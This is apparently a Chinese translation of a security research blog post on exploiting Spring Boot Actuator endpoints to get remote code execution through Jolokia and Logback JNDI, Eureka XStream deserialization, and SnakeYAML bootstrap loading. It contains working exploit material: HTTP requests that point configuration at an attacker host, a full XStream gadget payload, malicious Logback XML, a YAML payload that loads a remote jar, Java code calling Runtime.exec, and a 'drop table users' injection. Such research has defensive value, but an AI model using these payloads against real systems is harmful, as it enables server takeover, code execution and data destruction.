利用 Spring Boot Actuators





0/5 (0投票)
对于 Spring Boot 1 - 1.4,许多端点无需身份验证即可访问,这会带来严重的安全问题。
Spring Boot 框架包含一些称为 Actuators 的功能,用于在生产环境中监控和管理 Web 应用程序。它们旨在用于审计、健康检查和指标收集,但如果配置不当,它们也可能为您的服务器打开一扇隐藏的门。
当 Spring Boot 应用程序运行时,它会自动将几个端点(例如 '/health'、'/trace'、'/beans'、'/env' 等)注册到路由进程中。对于 Spring Boot 1 - 1.4,它们无需身份验证即可访问,这会带来严重的安全问题。从 Spring 版本 1.5 开始,除 '/health' 和 '/info' 之外的所有端点都被视为敏感且默认受到保护,但这种安全保护通常会被应用程序开发者禁用。
以下 Actuator 端点可能存在安全隐患,导致潜在漏洞:
- /dump - 显示线程转储(包括堆栈跟踪)
- /trace - 显示最近的几个 HTTP 消息(可能包含会话标识符)
- /logfile - 输出日志文件的内容
- /shutdown - 关闭应用程序
- /mappings - 显示所有 MVC 控制器映射
- /env - 提供对配置环境的访问
- /restart - 重启应用程序
在 Spring 1.x 中,它们注册在根 URL 下,而在 2.x 中,它们被移到了 "/actuator/" 基础路径下。
漏洞利用
大多数 Actuators 只支持 GET 请求,并且主要用于暴露敏感的配置数据,但其中几个对于“Shell 查找者”来说特别有趣。
1. 通过 '/jolokia' 进行远程代码执行
如果 Jolokia 库存在于目标应用程序的类路径中,Spring Boot 会自动通过 '/jolokia' Actuator 端点将其暴露。Jolokia 允许通过 HTTP 访问所有注册的 MBean,并且设计用于执行与 JMX 相同的操作。可以使用以下 URL 列出所有可用的 MBean 操作:
http://127.0.0.1:8090/jolokia/list
同样,大多数 MBean 操作只是暴露一些系统数据,但有一个操作特别有趣:
Logback 库提供的 'reloadByURL
' 操作允许我们从外部 URL 重新加载日志记录配置。只需访问以下 URL 即可触发:
那么,为什么我们要关心日志配置呢?主要有两个原因:
- 配置是 XML 格式的,Logback 在解析时启用了外部实体,因此容易受到盲 XXE 漏洞的攻击。
- Logback 配置具有“'从 JNDI 获取变量'”功能。在 XML 文件中,我们可以包含一个类似 '
<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />
' 的标签,其中 'name' 属性将被传递给 `DirContext.lookup()` 方法。如果我们能够将任意名称提供给 `lookup()` 函数,我们甚至不需要 XXE 或 HeapDump,因为它就可以实现完全的 **远程代码执行**。
工作原理
1. 攻击者请求上述 URL 来执行 'qos.logback.classic.jmx.JMXConfigurator
' 类提供的 'reloadByURL
' 函数。
2. 'reloadByURL
' 函数从 http://artsploit.com/logback.xml 下载新的配置并将其作为 Logback 配置进行解析。此恶意配置应包含以下内容:
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
3. 当此文件在易受攻击的服务器上解析时,它会在“env-entry-name
”参数值指定的攻击者控制的 LDAP 服务器上建立连接,从而导致 JNDI 解析。恶意 LDAP 服务器可能会返回一个带有“Reference”类型的对象,以触发在目标应用程序上 **执行提供的字节码**。JNDI 攻击在此 MicroFocus 研究论文 中得到了很好的解释。前面在我们的博客中描述的 新的 JNDI 漏洞利用技术 在此处也适用,因为 Tomcat 是 Spring Boot 框架中的默认应用程序服务器。
2. 通过 '/env' 修改配置
如果 Spring Cloud 库存在于类路径中,'/env' 端点允许您修改 Spring 环境属性。所有被注解为 '@ConfigurationProperties' 的 Bean 都可以被修改和重新绑定。我们可以控制的属性有很多,但并非全部,它们列在 '/configprops' Actuator 端点上。实际上,有很多属性,但并不清楚我们需要修改什么才能实现目标。经过几天的探索,我们发现了这个:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
此属性将 Eureka 的 `serviceURL` 修改为任意值。Eureka 服务器通常用作发现服务器,几乎所有 Spring Cloud 应用程序都会在该服务器上注册并向其发送状态更新。如果您幸运地在目标类路径中拥有 Eureka-Client <1.8.7(它通常包含在 Spring Cloud Netflix 中),则可以利用其中的 **XStream 反序列化漏洞**。您需要做的就是通过 '/env' 将 'eureka.client.serviceUrl.defaultZone
' 属性设置为您的服务器 URL(http://artsploit.com/n/xstream),然后调用 '/refresh' 端点。之后,您的服务器应该提供具有以下内容的 XStream 有效负载:
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
此 XStream 有效负载是来自 Marshalsec 研究 的 ImageIO JDK 独占 Gadget Chain 的轻微修改版本。唯一的区别是使用了 `LinkedHashSet` 来触发 'jdk.nashorn.internal.objects.NativeString.hashCode()
' 方法。原始有效负载利用 java.lang.Map 来实现相同的行为,但 Eureka 的 XStream 配置对 Map 有一个 自定义转换器,使其无法使用。上面的有效负载根本不使用 Map,并且可以在没有额外限制的情况下实现远程代码执行。
使用 Spring Actuators,即使您无法访问内部 Eureka 服务器,也可以利用此漏洞,您只需要一个可用的“/env”端点。
其他有用的设置
spring.datasource.tomcat.validationQuery=drop+table+users - 允许您指定任何 SQL 查询,该查询将自动针对当前数据库执行。它可以是任何语句,包括插入、更新或删除。
spring.datasource.tomcat.url=jdbc:hsqldb:https://:3002/xdb - 允许您修改当前的 JDBC 连接字符串。
最后一个看起来不错,但问题是当运行数据库连接的应用程序已经建立连接后,仅仅更新 JDBC 字符串不会产生任何效果。希望还有另一个属性可以帮助我们解决这个问题:
spring.datasource.tomcat.max-active=777
我们可以利用这里的技巧来增加与数据库的并发连接数。因此,我们可以更改 JDBC 连接字符串,增加连接数,然后发送大量请求到应用程序以模拟高负载。在高负载下,应用程序将使用更新后的恶意 JDBC 字符串创建一个新的数据库连接。我在本地针对 Mysql 测试了此技术,效果非常好。
除此之外,还有其他看起来很有趣的属性,但实际上并没有什么用:
spring.datasource.url - 数据库连接字符串(仅用于第一次连接)
spring.datasource.jndiName - 数据库 JNDI 字符串(仅用于第一次连接)
spring.datasource.tomcat.dataSourceJNDI - 数据库 JNDI 字符串(根本不使用)
spring.cloud.config.uri=http://artsploit.com/ - spring cloud 配置 URL(应用程序启动后无效,仅使用初始值)。
这些属性除非调用 '/restart' 端点,否则不会生效。该端点会重启所有 ApplicationContext,但默认情况下是禁用的。
还有许多其他有趣的属性,但大多数属性更改后不会立即生效。
注意: 在 Spring Boot 2.x 中,通过 '/env' 端点修改属性的请求格式略有不同(它使用 JSON 格式),但原理是相同的。
易受攻击的应用程序示例
如果您想在本地测试此漏洞,我在我的 Github 页面上创建了一个 简单的 Spring Boot 应用程序。除了数据库设置(除非您进行配置),所有有效负载都应该在那里工作。
黑盒发现
默认 Actuators 的完整列表可以在这里找到:https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt。请记住,应用程序开发者可以使用 @Endpoint 注解创建自己的端点。
2019 年 5 月更新
有一种更可靠的方法可以通过修改 Spring 环境属性来实现 RCE。
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
此请求修改了 'spring.cloud.bootstrap.location
' 属性,该属性用于加载外部配置并以 YAML 格式解析。为了实现这一点,我们还需要调用 '/refresh' 端点。
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
当 YAML 配置从远程服务器获取时,它会使用 SnakeYAML 库进行解析,而 SnakeYAML 也容易受到反序列化攻击。有效负载(yaml-payload.yml)可以使用上述 Marshalsec 研究生成。
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
反序列化此文件会触发使用提供的 `URLClassLoader` 执行 `ScriptEngineManager` 的构造函数。简而言之,这会导致 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)
' 方法被调用,该方法会尝试在类路径的所有库中查找 'ScriptEngineFactory
' 接口的所有实现。由于我们可以通过 `URLClassLoader` 添加新库,因此我们可以提供一个包含恶意字节码的新 'ScriptEngineFactory
'。为了做到这一点,我们需要创建一个 jar 存档,其中包含以下必需文件:yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class 应该包含实际的字节码,其中包含构造函数中的恶意有效负载。
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory 应该只是一个文本文件,其中包含 'artsploit.AwesomeScriptEngineFactory
' 的完整引用,以便 `ServiceLoader` 知道在哪里可以找到该类:artsploit.AwesomeScriptEngineFactory
同样,此漏洞利用技术需要 spring cloud 存在于类路径中,但与 Eureka 的 XStream 有效负载相比,它即使在最新版本中也有效。您可以在我的 github 项目中找到完整的有效负载:yaml-payload。